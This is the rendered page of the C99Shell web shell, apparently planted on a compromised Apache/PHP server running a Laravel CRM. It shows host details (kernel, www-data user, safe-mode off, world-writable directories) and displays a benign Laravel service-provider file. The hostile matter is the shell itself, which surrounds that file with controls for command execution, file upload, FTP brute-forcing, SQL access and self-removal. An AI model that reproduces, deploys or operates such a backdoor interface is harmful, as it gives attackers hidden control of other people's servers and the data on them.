!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/konekt/concord/src/   drwxrwxrwx
Free 13.02 GB of 57.97 GB (22.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ConcordServiceProvider.php (3.09 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Contains the ConcordServiceProvider class.
 *
 * @copyright   Copyright (c) 2016 Attila Fulop
 * @author      Attila Fulop
 * @license     MIT
 * @since       2016-08-14
 *
 */

namespace Konekt\Concord;

use 
Illuminate\Support\ServiceProvider;
use 
InvalidArgumentException;
use 
Konekt\Concord\Console\Commands\EnumsCommand;
use 
Konekt\Concord\Console\Commands\ModelsCommand;
use 
Konekt\Concord\Console\Commands\ModulesCommand;
use 
Konekt\Concord\Console\Commands\MakeModuleCommand;
use 
Konekt\Concord\Console\Commands\RequestsCommand;
use 
Konekt\Concord\Console\Commands\VersionCommand;
use 
Konekt\Concord\Contracts\Concord as ConcordContract;
use 
Konekt\Concord\Contracts\Convention;
use 
Konekt\Concord\Conventions\ConcordDefault;

class 
ConcordServiceProvider extends ServiceProvider
{
    public function 
register()
    {
        
// Set convention to use
        
$this->app->bind(
            
Convention::class,
            
$this->resolveConventionClass(
                
$this->app->config->get('concord.convention''default')
            )
        );

        
// Register interface -> actual class binding as singleton
        // For the sake of flexibility it's possible to replace
        // the actual class by setting `class` in the config
        
$this->app->singleton(
            
ConcordContract::class,
            
$this->app->config->get('concord.class'Concord::class)
        );

        
// Make an instance
        
$concordInstance $this->app->make(ConcordContract::class);
        
// And make it available as the 'concord' service
        
$this->app->instance('concord'$concordInstance);

        
$this->registerCommands();

        
$modules config("concord.modules") ?: [];

        foreach (
$modules as $key => $value) {
            
$module is_string($key) ? $key $value;
            
$config is_array($value) ? $value : [];
            
$concordInstance->registerModule($module$config);
        }
    }

    
/**
     * Post-registration booting
     *
     * @return void
     */
    
public function boot()
    {
        
$this->publishes([
            
__DIR__ '/../config/config.php' => config_path('concord.php')
        ], 
'config');
    }

    
/**
     * Register the console commands of this package
     */
    
protected function registerCommands()
    {
        if (
$this->app->runningInConsole()) {
            
$this->commands([
                
ModulesCommand::class,
                
ModelsCommand::class,
                
EnumsCommand::class,
                
RequestsCommand::class,
                
MakeModuleCommand::class,
                
VersionCommand::class
            ]);
        }
    }

    
/**
     * Resolve the convention class
     *
     * @param string $name Either a short name like 'default' or an FQCN
     *
     * @return string
     */
    
private function resolveConventionClass(string $name)
    {
        if (
'default' == $name) {
            return 
ConcordDefault::class;
        } elseif (
class_exists($name)) {
            return 
$name;
        }

        throw new 
InvalidArgumentException(
            
sprintf('%s is not a valid convention class'$name)
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--